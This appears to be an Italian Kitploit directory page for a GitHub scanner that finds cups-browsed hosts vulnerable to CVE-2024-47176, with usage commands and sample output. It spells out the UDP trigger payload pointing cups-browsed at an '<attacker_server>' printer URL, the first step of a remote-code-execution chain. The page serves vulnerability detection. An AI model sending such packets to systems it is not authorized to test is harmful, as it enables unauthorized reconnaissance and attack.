Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/malwaretech/cve-2024-47176-scanner
RicognizioneScanner di VulnerabilitàExploitRaccolta InformazioniSicurezza di RetePenetration Testing
GitHubmalwaretech/cve-2024-47176-scanner

CVE-2024-47176-Scanner

Un semplice scanner per identificare istanze cups-browsed vulnerabili sulla tua rete

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
66131 anno faRevisionato da Kitploit

Quick Start

Esempio di utilizzo: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Scanner per la vulnerabilità CVE-2024-47176 (cups-browsed)

Cos'è CUPS e perché è importante?

CUPS (Common Unix Printing System) è un framework open-source per la gestione e il controllo delle stampanti su sistemi UNIX e simili a UNIX. È una delle librerie più utilizzate per la stampa ed è supportata da UNIX, Linux e alcuni dispositivi Apple.

Sono state trovate diverse vulnerabilità critiche in CUPS che, se concatenate tra loro, possono portare all'esecuzione remota di codice. Le CVE in questione sono CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.

Le vulnerabilità consentono a un attaccante remoto di aggiungere o riconfigurare stampanti di rete in modo tale che eseguano codice arbitrario quando gli utenti tentano di stampare da esse.

Scansione dei sistemi CUPS vulnerabili

Una panoramica rapida di CVE-2024-47176

La prima vulnerabilità della catena, CVE-2024-47176, è un difetto nel demone cups-browsed.

La vulnerabilità deriva dal fatto che cups-browsed vincola la propria porta di controllo (porta UDP 631) a INADDR_ANY, esponendola al mondo esterno. Poiché le richieste non sono autenticate, chiunque sia in grado di raggiungere la porta di controllo può istruire cups-browsed per eseguire la scoperta di stampanti.

Nei casi in cui la porta non sia raggiungibile da Internet (a causa di firewall o NAT), potrebbe comunque essere raggiungibile tramite la rete locale, consentendo l'escalation dei privilegi e il movimento laterale. Per questo motivo, ho creato questo scanner progettato per analizzare la tua rete locale alla ricerca di istanze vulnerabili di cups-browsed.

Come funziona la scansione di CVE-2024-47176

Tipicamente, un attaccante inizierebbe il processo di sfruttamento inviando una richiesta appositamente predisposta a cups-browsed sulla porta UDP 631, facendogli contattare un URL dannoso sotto il suo controllo.

Ad esempio, un pacchetto UDP contenente quanto segue: 0 3 http://<attacker_server>/printers/malicious_printer farebbe scattare a cups-browsed l'invio di una richiesta HTTP a http://<attacker_server>/printers/malicious_printer.

Se l'URL si presentasse come una stampante dannosa, potrebbe concatenare il resto delle CVE per ottenere l'esecuzione remota di codice.

Usando questo meccanismo, possiamo indurre un'istanza vulnerabile di cups-browsed a inviare una richiesta HTTP (callback) al nostro server, identificandosi come vulnerabile.

Il processo di scansione è il seguente:

  1. Configurare un server HTTP di base (non è necessario identificarsi come stampante, poiché non sfrutteremo la vulnerabilità RCE).
  2. Creare un pacchetto UDP che istruisca cups-browsed a connettersi al nostro server HTTP.
  3. Inviare il pacchetto UDP a ogni IP in un dato intervallo sulla porta 631.
  4. Registrare qualsiasi richiesta POST all'endpoint /printers/, attivata da istanze vulnerabili di cups-browsed.

Supponendo che il nostro server HTTP sia ospitato su 10.0.0.1:1337, il nostro pacchetto UDP dovrebbe avere questo aspetto: 0 3 http://10.0.0.1:1337/printers/test1234

Automazione delle scansioni con cups_scanner.py

Questo scanner Python gestisce tutto per te (sia il server HTTP che la scansione).

Lo script avvia un server HTTP temporaneo tramite http.server su un IP e una porta specificati, quindi costruisce e invia pacchetti UDP a ogni IP nell'intervallo specificato. Il server HTTP catturerà automaticamente i callback dalle istanze vulnerabili di cups-browsed e li registrerà su disco.

I log leggibili vengono scritti in logs/cups.log e le richieste HTTP grezze vengono scritte in logs/requests.log

argomenti della riga di comando

--target il/i CIDR da scansionare. Può essere un singolo CIDR o più CIDR separati da virgole.
--callback l'IP e la porta locali su cui ospitare il nostro server HTTP (deve essere raggiungibile tramite l'intervallo di destinazione)
--scan-unsafe di default scansioniamo solo gli indirizzi host assegnabili (escludiamo l'indirizzo di rete e l'indirizzo di broadcast) in alcuni casi potrebbe essere desiderabile scansionare questi indirizzi, quindi questo comportamento può essere sovrascritto con il flag --scan-unsafe.

Esempi di utilizzo

Scansione del CIDR 10.0.0.0/24 dall'indirizzo IP 10.0.0.1, ospitando il server di callback sulla porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Scansione di più CIDR dall'indirizzo IP 10.0.0.1, ospitando il server di callback sulla porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337

nota: l'IP del server di callback deve appartenere all'host che esegue la scansione e la porta deve essere raggiungibile da ogni IP di destinazione.

Esempio di output

root@kitploit:~
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...

per maggiori informazioni vedi: Official CUPS Vulnerability Write Up

Scarica lo strumento